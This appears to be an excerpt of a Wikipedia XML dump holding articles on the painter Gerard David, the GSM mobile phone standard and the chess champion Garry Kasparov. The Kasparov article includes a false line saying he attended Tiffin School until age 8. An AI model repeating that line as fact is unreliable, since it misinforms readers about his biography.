{{commonscat|Gerard David}}
*[http://www.abcgallery.com/D/gerardavid/geradavid.html Gallery]
*[http://www.wga.hu/frames-e.html?/html/d/david/index.html Web Gallery of Art: Gerard David]

==References==
*{{1911}}

[[Category:1455 births|David, Gerard]]
[[Category:1523 deaths|David, Gerard]]
[[Category:Dutch painters|David, Gerard]]
[[Category:Renaissance painters|David, Gerard]]

[[de:Gerard David]]
[[fr:Gérard David]]
[[nl:Gerard David]]
[[pl:Gerard David]]</text>
    </revision>
  </page>
  <page>
    <title>Global System for Mobile Communications</title>
    <id>12808</id>
    <revision>
      <id>42150301</id>
      <timestamp>2006-03-04T03:45:03Z</timestamp>
      <contributor>
        <username>Admrboltz</username>
        <id>168201</id>
      </contributor>
      <minor />
      <comment>Redirect bypass from [[EDGE]] to [[Enhanced Data Rates for GSM Evolution]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Table Mobile phone standards}}
The '''Global System for Mobile Communications''' ('''GSM''') is the most popular standard for [[mobile phone]]s in the world.  GSM service is used by over 1.5 billion people across more than 210 countries and territories &lt;small&gt;[http://www.gsmworld.com/about/index.shtml]&lt;/small&gt;. The ubiquity of the GSM standard makes international [[roaming]] very common between [[mobile phone operator]]s, enabling subscribers to use their phones in many parts of the world.  GSM differs significantly from its predecessors in that both signaling and speech channels are [[digital]], which means that it is considered a ''second generation'' ([[2G]]) mobile phone system.  This fact has also meant that data communication was built into the system from very early on. GSM is an [[open standard]] which is currently developed by the [[3GPP]].

From the point of view of the consumer, the key advantage of GSM systems has been higher digital voice quality and low cost alternatives to making calls such as [[text messaging]].  The advantage for network operators has been the ability to deploy equipment from different vendors because the open standard allows easy inter-operability. Also, the standards have allowed network operators to offer [[roaming]] services which mean subscribers can use their phone all over the world.

GSM retained backward-compatibility with the original GSM phones as the GSM standard continued to develop, for example packet data capabilities were added in the [[Release '97]] version of the standard, by means of [[GPRS]].  Higher speed data transmission have also been introduced with [[Enhanced Data Rates for GSM Evolution|EDGE]] in the Release '99 version of the standard.

== History ==
Throughout the [[History of mobile phones|evolution of cellular telecommunications]], various systems were developed without the benefit of standardized specifications. This presented many problems directly related to compatibility, especially with the development of digital radio technology. In [[1982]], The GSM group (''&quot;Groupe Spécial Mobile&quot;'' ([[French language|French]]) 1, 2, 3 and 4) was formed to address these problems. The name of the system comes from the name of this group, though later the decision was made to keep the initials but to change what they stood for.  Originally the group was hosted by [[European Conference of Postal and Telecommunications Administrations|CEPT]]. 

From 1982 to 1985 discussions were held to decide between building an analog or digital system. After multiple field tests, a digital system was adopted for GSM. The next task was to decide between a narrow or broadband solution. In May 1987, the narrowband [[time division multiple access]] (TDMA) solution was chosen.

The technical fundamentals of the GSM system were defined in [[1987]]. In [[1989]], [[ETSI]] took over control and by [[1990]] the first GSM specification was completed, amounting to over 6,000 pages of text. Commercial operation began in [[1991]] with [[Radiolinja]] in [[Finland]].  

In 1998, the  [[3rd Generation Partnership Project]] (3GPP) was formed. Originally it was intended only to produce the specifications of the next (third, [[3G]]) generation of mobile networks. However, 3GPP also took over the maintenance and development of the GSM specification. ETSI is a partner in 3GPP.

GSM provides recommendations, not requirements. The GSM specifications define the functions and interface requirements in detail but do not address the hardware. The reason for this is to not limit the designers yet still make it possible for the operators to buy equipment from different suppliers.

==Market situation==
[[Image:Gsm-bts-walbrzych.jpg|thumb|GSM base station in [[Walbrzych]], [[Poland]]]]
More than 1.6 billion people use GSM phones as of [[2005]], making GSM the dominant mobile phone system worldwide with about 70% of the world's market. The countries of the [[European Union]] passed legislation mandating the use of the European-originated GSM (and its 3G successors) as the single mobile phone system in their countries in order to maximize interoperability.  This gave the system a solid base for expansion to other countries, as users in other countries who wish to roam in Europe have to use GSM.  GSM dominates across Europe, Russia, [[Africa]], and the [[Middle East]], and has a presence in nearly every country.  GSM's main competitor, [[cdmaOne]], is used primarily in [[North America]], [[South America]], and [[Asia]]. [http://www.eurotechnology.com/3G/] [http://www.cdg.org/]. cdmaOne also benefited from increased radio [http://www.techno-preneur.net/new-timeis/News-section/news-2005/cdma_gsm.html spectrum efficiencies] as compared to the more common GSM networks.
[[Roaming|Roaming]] with GSM phones is a major advantage over the competing technology as roaming across CDMA networks from different operators can be difficult or impossible, if the operators lack a roaming agreement or work on different frequency bands.

Another major reason for the growth in GSM usage, particularly between 1998 to 2002, was the availability of [[prepaid telephone calls|prepaid calling]] from [[mobile phone operator]]s.  This allows people who are either unable or unwilling to enter into a contract with an operator to have mobile phones. For example, students and teenagers can get a prepaid account which they can manage themselves without needing a parent to manage and sign for a contracted account. It also allows some operators to offer solutions for low-frequency users who are likely to choose prepaid accounts rather than the cheapest non-prepaid accounts since the latter still costs more. Prepaid also enabled the rapid expansion of GSM in many developing countries where large sections of the population do not have access to banks or bank accounts and countries where there are no effective [[credit rating|credit rating agencies]]. (In many developed countries, starting a non-prepaid contract with a cellular phone operator is almost always subject to credit verification through personal information provided by credit rating agencies).

GSM was also the first to have [[Short message service|SMS]] text messaging which proved extremely popular with the teenage market.

The largest North American [[mobile phone operator|GSM carrier]] is [[Cingular Wireless]], which acquired [[AT&amp;T Wireless]] in the fall of 2004.  Other North American GSM carriers include [[T-Mobile USA]] and [[Cincinnati Bell Wireless]].

==Radio interface==
GSM is a [[cellular network]], which means that [[mobile phone]]s connect to it by searching for cells in the immediate vicinity. GSM networks operate at various different [[GSM frequency ranges|radio frequencies]]. Most GSM networks operate at 900 MHz or 1800 MHz. The exception to the rule are networks in parts of the Americas (including the USA and Canada) that operate at 850 MHz or 1900 MHz.

In the 900 MHz band the uplink frequency band is 890-915 MHz, and the downlink frequency band is 935-960 MHz. This 25 MHz bandwidth is subdivided into 124 carrier frequencies, each spaced 200 kHz apart. [[Time division multiplexing]] is used to allow eight speech channels per [[Radio frequency]] channel.  There are eight burst periods grouped into what is called a [[TDMA]] frame.  The channel data rate is 270.833 kb/s, and the frame duration is 4.615 ms.

The transmission power in the handset is limited to a maximum of 2 watts in GSM850/900 and 1 watt in GSM1800/1900.

There are four different cell sizes in a GSM network - macro, micro, pico and umbrella cells. The coverage area of each cell is different in different environments. Macro cells can be regarded as cells where the [[base station]] [[antenna (electronics)|antenna]] is installed in a mast or a building above average roof top level. Micro cells are cells whose antenna height is under average roof top level; they are typically used in urban areas. Picocells are small cells whose diameter is a few dozen meters; they are mainly used indoors. On the other hand, umbrella cells are used to cover shadowed regions of smaller cells and fill in gaps in coverage between those cells. 

Cell radius varies depending on antenna height, antenna gain and propagation conditions from a couple of hundred meters to several tens of kilometers.  The longest distance the GSM specification supports in practical use is 35 [[kilometer|km]].  There is also a concept of an extended cell, where the cell radius could be double or even more.

Indoor coverage is also supported by GSM and is achieved by using power splitters to deliver the radio signal from the antenna outdoors to a separate indoor antenna distribution system. This is typically deployed when a lot of call capacity is needed indoors, for example in shopping centers or airports.  However, this is not a pre-requisite, since indoor coverage is also provided by in-building penetration of the radio signal.
 
The [[modulation]] used in GSM is [[Gaussian minimum shift keying]] (GMSK), a kind of continuous-phase [[frequency shift keying]]. In GMSK, the signal being modulated is smoothened with a [[gaussian function|Gaussian]] [[low-pass filter]] prior to being fed to a [[frequency modulation|frequency modulator]], which greatly reduces the [[interference]] to neighboring channels.

==Network structure==
[[Image:Gsm network.png|thumbnail|405px|The structure of a GSM network]]

The network behind the '''GSM''' system seen by the customer is large and complicated in order to provide all of the services which are required.  It is divided into a number of sections and these are each covered in separate articles.

* the [[Base Station Subsystem]] (the [[base station]]s and their controllers).
* the [[Network and Switching Subsystem]] (the part of the network most similar to a fixed network). This is sometimes also just called the core network.
* the [[GPRS Core Network]] (the optional part which allows packet based Internet connections). 
* all of the elements in the system combine to produce many [[GSM services]] such as voice calls and SMS.

=== Subscriber Identity Module ===
One of the key features of GSM is the [[Subscriber Identity Module]] (SIM), commonly known as a '''''SIM card'''''.  The SIM is a detachable [[smartcard]] containing the user's subscription information and phonebook.  This allows the user to retain his information after switching handsets.  Alternatively, the user can also change operators while retaining the handset simply by changing the SIM. Some operators will block this by allowing the phone to use only a single SIM, or only a SIM issued by them; this practice is known as [[SIM lock|SIM locking]], and is illegal in some countries. 

In the [[USA]], Europe and Australia, most operators lock the mobiles they sell. This is done because the price of the mobile phone is usually [[subsidised]] with revenue from subscriptions and operators want to try to avoid subsidising competitor's mobiles.  A subscriber can usually contact the provider to remove the lock for a fee (which operators sometimes try to claim to be ignorant of), utilize private services to remove the lock, or make use of ample software and websites available on the Internet to unlock the handset themselves.  Some providers in the USA and Europe, such as [[T-Mobile]], [[Cingular]] and the three French Operators, will unlock the phone for free if the customer has held an account for a certain period.  Third party unlocking services exist that are often quicker and lower cost than that of the operator. In most countries removing the lock is legal.

===GSM security===
GSM was designed with a moderate level of security. The system was designed to authenticate the subscriber using shared-secret cryptography.  Communications between the subscriber and the base station can be encrypted. The development of [[UMTS]] introduces an optional [[USIM]], that uses a longer authentication key to give greater security, as well as mutually authenticating the network and the user -  whereas GSM only authenticated the user to the network (and not vice versa). The security model therefore offers confidentiality and authentication, but limited authorization capabilities, and no non-repudiation.

GSM uses several cryptographic algorithms for security. The [[A5/1]] and [[A5/2]] [[stream cipher]]s are used for ensuring over-the-air voice privacy. A5/1 was developed first and is a stronger algorithm used within Europe and the United States; A5/2 is weaker and used in countries that may not be able to support the infrastructure necessary for A5/1. A large security advantage of GSM is that the Ki, the crypto variable stored on the [[SIM]] card that is the key to any GSM ciphering algorithm, is never sent over the air interface. Serious weaknesses have been found in both algorithms, and it is possible to break A5/2 in real-time in a [[ciphertext-only attack]]. The system supports multiple algorithms so operators may replace that cipher with a stronger one.

===Patent issues===
In 2005, a number of companies (including [[Cisco Systems]] and [[Ericsson]]) were sued for infringement of U.S. Patent No. 5,561,706 for offering products alleged to be compliant with the GSM 3.60 standard.

===Satellite issues ===
GSM also uses various satellites to redirect the voice and data packets to users across different countries, because it would be virtually impossible to connect instantly to a GSM phone located in parts of the world where they don't have a high speed wired network.

== See also ==
* Core technology:
** [[2G]]
** [[2.5G]]
** [[3G]]

* Architectural elements:
** [[Base Station Controller]] (BSC)
** [[Base Station Subsystem]] (BSS)
** [[Home Location Register]] (HLR)
** [[Mobile Switching Center]] (MSC)
** [[Subscriber Identity Module]] (SIM)
** [[Visitors Location Register]] (VLR)

* Radio:
** [[GSM frequency ranges]]

* [[Cellular traffic]]

* Services:
** [[GSM localization]]
** [[GSM services]]
*** [[GSM codes for supplementary services]]
** [[Multimedia Messaging Service|MMS]]
** [[Short message service|SMS]]
** [[Wireless Application Protocol|WAP]]

* Standards:
** [[ETSI]] (European Telecommunications Standards Institute)
** [[Intelligent network|Intelligent network (IN)]]
** [[Parlay]]

* Common terms:
** [[IMEI]]
** [[IMSI]]
** [[MSISDN]]
** [[Handoff]]

* Related technologies:
** [[Gsm-r|GSM-R]] (GSM-Railroads)

== External links ==
* [http://www.3gpp.org 3GPP The current standardisation body for GSM with free standards available].
* [http://www.gsmworld.com/ GSM Association - the group representing GSM operators (official site)] - includes coverage maps for all members
* [http://ccnga.uwaterloo.ca/~jscouria/GSM/gsmreport.html Overview of GSM] by John Scourias
* [http://www.visualgsm.com/gsm_index.htm Visualtron's tutorial on GSM]
* [http://www.radio-electronics.com/info/cellulartelecomms/gsm_technical/gsm_introduction.php GSM technical overview and tutorial] from Radio-Electronics.Com
* [http://www.gsmworld.com/news/statistics/substats.shtml Number of GSM Subscribers]
* [http://www.gsm-security.net/gsm-security-faq.shtml GSM-security.net FAQ]
* [http://www.eventhelix.com/RealtimeMantra/Telecom/ GSM Call Flow Diagrams]
* [http://www.tele-servizi.com/janus/engfield1.html List of acronyms of GSM network parameters]
* [http://www.telenor.com/telektronikk/volumes/index.php?page=seksjon&amp;id1=26&amp;id2=38&amp;select=00-04 GSM - ideas, origin and milestones - a Norwegian perspective] from Telenor's journal of technology [http://www.telektronikk.com Telektronikk]
* [http://hellomobile.com/cell-phone-safety.htm Cell Phone Safety and Wireless Facts]
* [http://hellomobile.com/gsm-triband-phones-sim-faqs.htm GSM Service and TriBand International Roaming FAQs]
* [http://wiki.ehow.com/Make-a-Smart-Car-Surveillance-System-Using-a-Mobile-Phone Smart Car Surveillance System] How to trace your missing car using a GSM cell phone ([http://wiki.ehow.com Wiki eHow])


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[[Image:Garry kasparov.jpg|thumb|Garry Kasparov]]

'''Garry Kimovich Kasparov''' ([[International Phonetic Alphabet|IPA]]: {{IPA|[ga'ɹi kasˈparˌɑf]}}; [[Russian language|Russian]]: ''Га́рри Ки́мович Каспа́ров'') (born [[April 13]], [[1963]]) is a [[chess]] grandmaster and is arguably the strongest chess player in history[http://www.research.ibm.com/deepblue/meet/html/d.1.html]. His 2851 [[ELO rating system|ELO rating]] in the July 1999 [[FIDE]] rating list is the highest rating ever achieved. [[As of 2006|As of January 2006]], Kasparov's 2812 [[ELO rating system|ELO]] rating places him highest on the [[Fédération Internationale des Échecs|FIDE]] listing [http://www.fide.com/ratings/top.phtml]. Ranked first in the world for nearly all of the 20 years from 1985 to 2005, Kasparov was the last undisputed [[World Chess Championship|World Chess Champion]] from 1985 until 1993; and continued to be &quot;classical&quot; World Chess Champion (of the [[Professional Chess Association|PCA]] and [[World Chess Association|WCA]]) until his defeat by [[Vladimir Kramnik]] in 2000. He also won the [[Chess Oscar]] eleven times.

Kasparov announced his retirement from professional chess on [[March 10]] [[2005]], instead devoting time to politics and to opposing [[Vladimir Putin]], whom he has called a &quot;fascist&quot; and a &quot;brutal dictator&quot;. [http://www.google.co.in/url?sa=U&amp;start=2&amp;q=http://news.bbc.co.uk/1/hi/world/europe/4163439.stm&amp;e=9797] He is a leading member of the [[Committee 2008]]: and the liberal groups [[United Civil Front]] and [[Free Choice]]. According to the 2005 December edition of [[Atlantic Monthly]], Kasparov will run against Putin in the 2008 election for the [[Russian_president| Russian Presidency]]. Putin has to change the constitution to run a third term [http://www.theatlantic.com/doc/prem/200512/kasparov].

Garry Kasparov was born as '''Garry Vajnshtejn''' (the given name analogous to [[English language|English]] &quot;Harry&quot; and surname analogous to [[German language|German]] &quot;Weinstein&quot; ) in [[Baku]], [[Azerbaijan]] (at that time republic of [[Soviet Union]]) to an [[Armenia]]n mother and a [[Jew]]ish father. He first began the serious study of [[chess]] after he came across a chess problem set up by his parents and proposed a solution{{fact}}. When he was 7, his father died, and he adopted his mother's surname as soon as was legally possible, at the age of 12. His mother Klara is an [[Armenia]]n woman whose surname is &quot;Kasparian&quot;, and &quot;Kasparov&quot; is the Russianised version of this name.

===Early career===
After leaving Tiffin School at the age of 8, Kasparov trained at [[Mikhail Botvinnik]]'s chess school. He won the Soviet Junior Championship at [[Tbilisi]] in 1976, scoring 7 points out of 9, at the age of 13. He repeated the feat the following year, winning with a score of 8.5/9.

In 1978 Kasparov participated in the Sokolsky Memorial tournament at [[Minsk]]. He had been invited as an exception but took the first place and became a [[chess master|master]]. Kasparov has repeatedly said that this event was a turning point in his life, and that it convinced him to choose chess as his career. &quot;I will remember the Sokolsky Memorial as long as I live&quot;, he wrote. He has also said that after the victory, he thought he had a very good shot at the World Championship{{fact}}.

Kasparov rose quickly through the FIDE rankings. Starting with an oversight by the [[Russian Chess Federation]], Garry Kasparov participated in a [[International Grandmaster|Grandmaster]] tournament in [[Banja Luka]] while still unrated (the federation thought it was a junior tournament). He emerged from this top-class encounter with a provisional rating of 2595, enough to catapult him into the top group of chess players.

The next year, 1980, he won the [[World Junior Chess Championship]] in [[Dortmund]], [[West Germany]].

Kasparov sought to challenge world champion [[Anatoly Karpov]] &amp;mdash; a firm favourite of the Russian Chess Federation. But first Kasparov had to pass the test of the [[Candidates Tournament]] to qualify.

His first Candidates match was against [[Alexander Beliavsky]], from which Kasparov emerged surprisingly victorious (Beliavsky was an exceptionally tough opponent). Politics threatened Kasparov's next match against [[Viktor Korchnoi]], which was scheduled to be played in Pasadena, California. Korchnoi defected from Russia in the late 1970s, and was at that time the strongest non-Soviet player. Various political manoeuvres prevented Kasparov from playing Korchnoi, and Kasparov forfeited the match.

This was resolved by Korchnoi's allowing the match to be replayed in [[London]]. Kasparov won.

Kasparov's final Candidates match was against the resurgent [[Vassily Smyslov]] (who was randomly selected to advance after a 7-7 tie against [[Robert Huebner|Huebner]] by the spin of a roulette wheel at the quarterfinals, but soundly defeated Hungarian GM Zoltan Ribli at the semifinals). Smyslov was the seventh world champion in 1957, but later years saw his willingness to fight for wins greatly diminished. Kasparov won with 4 wins and 9 draws.

===1984 World Championship===
&lt;!-- Unsourced image removed: [[Image:Karkas1.jpg|thumb|right|The 1984 [[World Chess Championship]] was between [[Anatoly Karpov]] (right) and [[Garry Kasparov]] (left).]] --&gt;

The [[1984]] World Championship match between [[Anatoly Karpov]] and Garry Kasparov had its fair share of ups and downs, as well as the most controversial finish to a competitive match ever. Karpov started off in very good form, and after nine games Kasparov found himself 4-0 down in a &quot;first to six wins&quot; match. Fellow players predicted a 6-0 whitewash of Kasparov within 18 games.

For Karpov, the result so far would go some way toward exorcising the ghost of [[Bobby Fischer]]'s Candidates results in 1970, and would further cement Karpov as a true World Champion.

Kasparov dug in, with inspiration from a Russian poet before each game, and battled with Karpov into seventeen successive draws. Karpov duly won the next decisive game before Kasparov fought back with another series of draws until game 32, Kasparov's first win against the World Champion.

At this point Karpov, twelve years older than Kasparov, was close to exhaustion, and not looking like the player who started this match. Kasparov won games 47 and 48 to bring the scores to 5-3 in Karpov's favour. Then the match was ended without result by [[Florencio Campomanes]], the President of FIDE, and a new match was announced to start a few months later.

The termination of the match was a matter of some controversy. At the press conference at which he announced his decision, Campomanes cited the health of the two players, which had been put under strain by the length of the match, despite that both Karpov and Kasparov stated that they would prefer the match to continue. Karpov had lost 10 [[Kilogram|kg]] (22 [[Pound (weight)|lb]]) over the course of the match and had been hospitalized several times. Kasparov, however, was in excellent health and extremely resentful of Campomanes' decision, asking him why he was abandoning the match if both players wanted to continue. It would appear that Kasparov, who had won the last two games before the suspension, felt the same way as some commentators &amp;mdash; that he was now the favourite to win the match despite his 5-3 deficit. He appeared to be physically stronger than his opponent, and in the later games seemed to have been playing the better chess.

As National Master [[Dan Heisman]] of Philadelphia humorously commented on this confusing situation: &quot;Kasparov was losing the match to Karpov 5-3 but found it stopped by FIDE, Kasparov said he was winning because Karpov was only ahead 5-3. Karpov, from his hospital bed, protested that he felt fine and wanted to continue, but the doctors were not letting him.&quot;

The match became the first, and so far only, world championship match to be abandoned without result. Kasparov's relations with Campomanes and FIDE were greatly strained, and the feud between the two would eventually come to a head in 1993 with Kasparov's complete break-away from FIDE.

===World Champion===
The second Karpov-Kasparov match in 1985 was organized as the best of 24 games, where first player to 12.5 points would claim the title (in the event of a 12-12 draw, the title would go to Karpov as the reigning champion). Kasparov showed he had learned some valuable lessons in the previous match, and although the score was quite even down to the final wire, a few spectacular games involving the [[Sicilian defence]] secured the World Championship for Kasparov at the age of 22 by a score of 13-11. This broke the existing record of youngest winner held for over twenty years by [[Mikhail Tal]] (he was 23 when he beat Botvinnik in 1960).

With the World Champion title in his grasp, Kasparov switched to battling against FIDE &amp;mdash; as [[Bobby Fischer]] had done twenty years earlier, but this time from within FIDE. He created an organisation to represent chess players, the [[GrandMaster's Association]] (GMA) to give players more of a say in FIDE's activities.

===Ejection from FIDE===
This stand-off lasted until 1993, by which time a new challenger had qualified through the Candidates cycle for Kasparov's next World Championship defense. The world champion and his challenger ([[Nigel Short]]) decided to play their match outside of FIDE's jurisdiction, under another organisation created by Garry Kasparov called the [[Professional Chess Association]] (PCA). This is where the great fracture on the lineage of World Champions began.

Kasparov and Short were ejected from FIDE, and they played their well-sponsored match in London, which Kasparov won convincingly. FIDE organized a World Championship match between the loser of the Candidates final, [[Jan Timman]], and previous World Champion Karpov, which Karpov won. (It should be noted that Nigel Short beat both of these players in the Candidates matches before facing Kasparov.) So Kasparov held the PCA World Chess Championship, and Karpov held the FIDE World Chess Championship.

Kasparov defended his title in 1995 against the [[India|Indian]] superstar [[Viswanathan Anand]], which was held at the World Trade Center in New York City, before the PCA collapsed when [[Intel]], one of the major backers, withdrew its sponsorship. Kasparov won the match by 4 wins to 1 with 13 draws. The match had 3 clear phases: a cautious beginning with 8 draws, mostly short; a violent middle phase with a win by Anand being responded to by a crushing sequence of 4 wins in 5 games by Kasparov; and a quiet finish with 4 quick draws after the match was beyond doubt.

Kasparov tried to organise another World Championship match, under yet another organisation, the [[World Chess Association]] (WCA) with [[Linares chess tournament|Linares]] organiser [[Rentero]]. [[Alexei Shirov]] and [[Vladimir Kramnik]] played a candidates match to decide the challenger, which Shirov won in a surprising upset. The WCA collapsed, however, when Rentero admitted that the funds required and promised had never materialised.

This left Kasparov stranded, and yet another organisation stepped in &amp;mdash; [[BrainGames.com]], headed by [[Raymond Keene]] (who was also involved in bringing Kasparov to London for his replayed Candidates match against Korchnoi, half of the first Kasparov-Karpov match, and the Kasparov-Short PCA match). No match against Shirov was arranged, and talks with Anand collapsed, so a match was instead arranged against Kramnik.

===Losing the title===
This match, Kasparov-Kramnik, took place in London during the latter half of 2000. A well-prepared Kramnik surprised Kasparov and won a crucial game 2 against Kasparov's [[Grünfeld Defence]] after the champion missed several drawing chances in an opposite-color bishop ending. Kasparov made a critical error in game 10 with the [[Nimzo-Indian Defence]], which Kramnik exploited to win in 25 moves. As white, Kasparov could not crack the passive but solid Berlin Defence in the [[Ruy Lopez]], and Kramnik successfully drew all his games as black. Kramnik won the match 8.5-6.5, and for the first time in fifteen years Kasparov had no world championship title. He became the first player to lose a world championship match without winning a game since [[Emanuel Lasker|Lasker]] lost to [[Capablanca]] in 1921.

As part of the so-called &quot;Prague Agreement&quot;, masterminded by [[Yasser Seirawan]] and intended to reunite the two World Championships, Kasparov was to play a match against the FIDE World Champion [[Ruslan Ponomariov]] in September 2003. However, this match was called off after Ponomariov refused to sign his contract for it without reservation. In its place, there were plans for a match against [[Rustam Kasimdzhanov]], winner of the [[FIDE World Chess Championship 2004]], to be held in January 2005 in the [[United Arab Emirates]]. These also fell through due to lack of funding. Plans to hold the match in Turkey instead came too late. Kasparov announced in January 2005 that he was tired of waiting for FIDE to organise a match and that therefore he had decided to stop all efforts to regain the World Championship title.

===Retirement===
After winning the prestigious [[Linares chess tournament|Linares tournament]] for the ninth time, Kasparov announced on [[March 10]], [[2005]], that he would be retiring from serious competitive chess. He cited as the reason a lack of personal goals in the chess world (he commented when winning the Russian championship in 2004 that it had been the last major title he had never won outright) and expressed frustration at the failure to reunify the world championship.

Kasparov said he may play in some rapid events for fun, but intends to spend more time on his books (both the ''My Great Predecessors'' series (see [[#books|below]]) and a book on the links between decision-making in chess and other areas of life), and will continue to involve himself in [[Politics of Russia|Russian politics]], which he says is &quot;headed down the wrong path.&quot; He is an outspoken critic of [[President of Russia|President]] [[Vladimir Putin]]. [http://apnews.myway.com/article/20050417/D89GSCJG0.html]

On [[April 10]], 2005, Kasparov was in Moscow at a promotional event when he was struck over the head with a chessboard he had just signed.  The assailant was reported to have said &quot;I admired you as a chess player, but you gave that up for politics,&quot; immediately before the attack.

===Inventor===
Kasparov is also an inventor with two European [[patent]] applications:
*EP1112765A4: METHOD FOR PLAYING A LOTTERY GAME AND SYSTEM FOR REALISING THE SAME from 1998, and
*EP0871132A1: METHOD OF PLAYING A LOTTERY GAME AND SUITABLE SYSTEM from 1995

===Sample games===
{{Chess diagram|=
| tright
| 
|=
 8 |bd|  |  |rd|  |  |  |rd|=
 7 |kd|  |  |  |  |pd|  |pd|=
 6 |pd|  |  |qd|  |nd|pd|  |=
 5 |nl|pd|pd|pl|  |  |  |  |=
 4 |  |  |  |pd|  |ql|  |  |=
 3 |pl|  |  |  |  |pl|pl|bl|=
 2 |  |pl|pl|  |  |  |  |pl|=
 1 |  |kl|  |rl|rl|  |  |  |=
    a  b  c  d  e  f  g  h
| In this position after move 23 in the 1999 [[Corus Chess Tournament|Corus tournament]] game between Kasparov and [[Veselin Topalov|Topalov]], Kasparov (white) appears to be in a weaker position, but a rook sacrifice followed by precise endgame play secures Kasparov a victory.
}}

The game Kasparov-[[Veselin Topalov|Topalov]], played at the [[Corus Chess Tournament|Corus tournament]] in [[Wijk aan Zee]] in 1999, features one of his best [[Combination (chess)|combinations]] (moves given in [[algebraic chess notation]]):

1.e4 d6 2.d4 Nf6 3.Nc3 g6 4.Be3 Bg7 5.Qd2 c6 6.f3 b5 7.Nge2 Nbd7 8.Bh6 Bxh6 9.Qxh6 Bb7 10.a3 e5 11.0-0-0 Qe7 12.Kb1 a6 13.Nc1 0-0-0 14.Nb3 exd4 15.Rxd4 c5 16.Rd1 Nb6 17.g3 Kb8 18.Na5 Ba8 19.Bh3 d5 20.Qf4+ Ka7 21.Rhe1 d4 22.Nd5 Nbxd5 23.exd5 Qd6

(see diagram at right for this position)

24.Rxd4!! cxd4 25.Re7+! Kb6 [25...Qxe7 26.Qxd4+ Kb8 27.Qb6+ Bb7 28.Nc6+ Ka8 29.Qa7#]  26.Qxd4+ Kxa5 27.b4+ Ka4 28.Qc3 Qxd5 29.Ra7 Bb7 30.Rxb7 Qc4 31.Qxf6 Kxa3? [31...Rd1+ 32.Kb2 Ra8±] 32.Qxa6+ Kxb4 33.c3+! Kxc3 34.Qa1+ Kd2 35.Qb2+ Kd1 36.Bf1! Rd2 37.Rd7! Rxd7 38.Bxc4 bxc4 39.Qxh8 Rd3 40.Qa8 c3 41.Qa4+ Ke1 42.f4 f5 43.Kc1 Rd2 44.Qa7 1-0

When announcing his retirement, Kasparov commented that this was possibly the best of all his games.  It is of some interest that his final professional game was a loss to the same Topalov he had defeated in this game.

Before Kasparov played the above game, he considered the following his &quot;supreme creative achievement.&quot;  The readers of [[Chess Informant]] voted it the best game in the first 64 issues of that periodical:

[[Anatoly Karpov|Karpov]]-Kasparov, 16th match game, [[World chess championship|World Championship]] 1985.  1.e4 c5 2.Nf3 e6 3.d4 cxd4 4.Nxd4 Nc6 5.Nb5 d6 6.c4 Nf6 7.N1c3 a6 8.Na3 d5 9.cxd5 exd5 10.exd5 Nb4 11.Be2 Bc5 12.O-O O-O 13.Bf3 Bf5 14.Bg5 Re8 15.Qd2 b5 16.Rad1 Nd3 17.Nab1 h6 18.Bh4 b4 19.Na4 Bd6 20.Bg3 Rc8 21.b3 g5 22.Bxd6 Qxd6 23.g3 Nd7 24.Bg2 Qf6 25.a3 a5 26.axb4 axb4 27.Qa2 Bg6 28.d6 g4 29.Qd2 Kg7 30.f3 Qxd6 31.fxg4 Qd4+ 32.Kh1 Nf6 33.Rf4 Ne4 34.Qxd3 Nf2+ 35.Rxf2 Bxd3 36.Rfd2 Qe3 37.Rxd3 Rc1 38.Nb2 Qf2 39.Nd2 Rxd1+ 40.Nxd1 Re1+ 0-1

==Books==

Kasparov has written a number of books on chess. In 2003, the first volume of his projected five volume work ''Garry Kasparov on My Great Predecessors'' was published. This volume, which deals with the world chess champions [[Wilhelm Steinitz]], [[Emanuel Lasker]], [[José Raúl Capablanca]] and [[Alexander Alekhine]], and some of their strong contemporaries, has received lavish praise from some reviewers (including [[Nigel Short]]), while attracting criticism from  others for historical inaccuracies and analysis of games directly copied from unattributed sources. Despite this, the first volume won the [[British Chess Federation]]'s Book of the Year award in 2003. Volume two, covering [[Max Euwe]], [[Mikhail Botvinnik]], [[Vassily Smyslov]] and [[Mikhail Tal]] appeared later in 2003.  Volume three, covering [[Tigran Petrosian]] and [[Boris Spassky]] appeared in early 2004.  In December 2004, Kasparov released volume four, which covers [[Samuel Reshevsky]], [[Miguel Najdorf]], and [[Bent Larsen]], but focuses primarily on [[Bobby Fischer]]. The fifth volume which will focus mainly on [[Viktor Korchnoi]] and [[Anatoly Karpov]] is scheduled to appear on February 2006.

==Chess against computers==

In February 1996, [[International Business Machines|IBM]]'s chess computer [[Deep Blue]] defeated Kasparov in one game using normal time controls, in [[Deep Blue - Kasparov, 1996, Game 1]]. However, Kasparov infamously retorted that upon the next games he &quot;would tear Deep Blue to pieces with no question&quot; [http://www.pbs.org/newshour/bb/entertainment/jan-june97/big_blue_5-12.html|1] and proceeded to gain three wins and two draws, soundly winning the match. 

In May 1997, an updated version of [[Deep Blue]] defeated Kasparov in [[Deep Blue - Kasparov, 1997, Game 6]], in a highly publicised six-game match.  This was the first time a computer had ever defeated a world champion in match play. An award-winning [[documentary film]] was made about this famous matchup entitled [[Game Over: Kasparov and the Machine]]. Also, [[IBM]] keeps a web site of the event at http://www.research.ibm.com/deepblue/. It should be noted that several factors weighed against Kasparov in this match. He was denied access to Deep Blue's recent games, in contrast to the computer's team that could study hundreds of Kasparov's. The relatively fast time control, lack of rest days and other match rules also favored the machine. 

After the loss, Kasparov said that he sometimes saw deep intelligence and creativity in the machine's moves. He suggested that humans may have helped the machine during the match.  In a way, Kasparov's allegations were correct. The rules provided for the developers to modify the program between games, an opportunity they used to shore up weaknesses in the computer's play revealed during the course of the match. Kasparov demanded a rematch, but IBM declined and retired Deep Blue. 
 
Kasparov has been credited with the invention of [[Advanced Chess]] in 1998, a new form of chess in which a human and a computer play together.

In November 2003, he engaged in a four game match against chess playing computer program [[X3D Fritz]] (which was said to have an estimated rating of 2807), using a virtual board, [[3D glasses]] and a [[speech recognition]] system. After two draws and two wins respectively, the X3D Man-Machine match ended in draw. Kasparov received $175,000 for the result and took home the golden trophy. Kasparov continued to criticize the blunder in the second game that cost him a crucial point. He felt that he had outplayed the machine overall and played well. &quot;I only made one mistake but unfortunately that one mistake lost the game.&quot;

==Trivia==
During his PCA World Championship encounter with Nigel Short and on the eve of the thirteenth match game, Kasparov revealed on Channel 4 television that 13 was in fact his lucky number. Born on the 13th April, in 1963 (divisible by 13), he was the thirteenth World Champion. The game was however drawn.

==See also==
* [[Kasparov versus The World]]
* [[List of people who have beaten Garry Kasparov in chess]]

==External links==
